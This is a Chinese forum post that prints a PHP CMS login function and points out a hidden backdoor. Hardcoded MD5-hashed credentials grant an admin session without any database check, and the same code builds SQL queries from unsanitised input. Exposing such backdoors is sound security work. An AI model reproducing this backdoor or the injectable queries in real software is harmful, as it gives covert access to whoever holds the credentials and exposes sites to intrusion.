 |
|
首页 │ Apache │ Linux│ Java│ MySQL│ 注册│帮助 | |||
订阅该问题
悬赏分：20 - 2007年08月15日
// ------------------------------ function LOGIN ------------------------------ //
function login($username,$password){
global $dbname,$ymcms_user_table;
global $s_userid,$s_username,$sessid;
if($username == "" || $password == ""){
$message_text = "用户名或密码不能为空. 点击这里返回.
\n";
}else{
if(MD5($username) == "4cb666ed87eb8929e2265c54666af4b1" && MD5($password) == "e306609f14f41870a4f16e7355d25c98"){
global $s_admin;
$s_userid = 1;
$s_admin = "4cb666ed87eb8929e2265c54666af4b1";
session_register('s_userid');
session_register('s_admin');
$message_text = "\n
登录成功. 现在将跳转到管理首页.
\n
点击这里, 如果您不想等太久(或您的浏览器无法自动跳转)的话.
\n";
}else{
$usersql = "SELECT * FROM $ymcms_user_table WHERE username='$username'";
$userresult = mysql_db_query($dbname, $usersql);
$userrow = mysql_fetch_array($userresult);
if($userrow['password'] == ""){
$message_text = "用户名错误. 点击这里返回.
\n";
}elseif(MD5($password) != $userrow['password']){
$message_text = "密码错误. 点击这里返回.
\n";
}else{
$s_userid = $userrow['userid'];
$s_username = $userrow['username'];
$logintime = $userrow['logintime'];
$lastvisit = $userrow['lastvisit'];
session_unregister('s_userid');
session_unregister('s_username');
session_register('s_userid');
session_register('s_username');
$timenow = time();
if($logintime != $lastvisit){
$lastvisit = $logintime;
}
$sql = "UPDATE $ymcms_user_table SET logintime='$timenow',lastvisit='$lastvisit',ipaddress='$_SERVER[REMOTE_ADDR]' WHERE userid='$s_userid'";
mysql_db_query($dbname,$sql);
if(isset($_POST['s_url']) && $_POST['s_url'] != ""){
$s_url = $_POST['s_url'];
}elseif(isset($_SESSION['s_url']) && $_SESSION['s_url'] != ""){
$s_url = $_SESSION['s_url'];
session_unregister('s_url');
}
$sessid = session_id();
if(isset($s_url) && $s_url != ""){
$message_text = "\n
登录成功. 现在将返回刚才的页面.
\n
点击这里, 如果您不想等太久(或您的浏览器无法自动跳转)的话.
\n";
}else{
$message_text = "\n
登录成功. 现在将跳转到首页.
\n
点击这里, 如果您不想等太久(或您的浏览器无法自动跳转)的话.
\n";
}
}
}
}
return $message_text;
} // end login
以上看上去是一个登陆用的认证函数。但是请注意这里：
if(MD5($username) == "4cb666ed87eb8929e2265c54666af4b1" && MD5($password) == "e306609f14f41870a4f16e7355d25c98"){
global $s_admin;
$s_userid = 1;
$s_admin = "4cb666ed87eb8929e2265c54666af4b1";
session_register('s_userid');
session_register('s_admin');
$message_text = "\n
登录成功. 现在将跳转到管理首页.
\n
点击这里, 如果您不想等太久(或您的浏览器无法自动跳转)的话.
\n";
}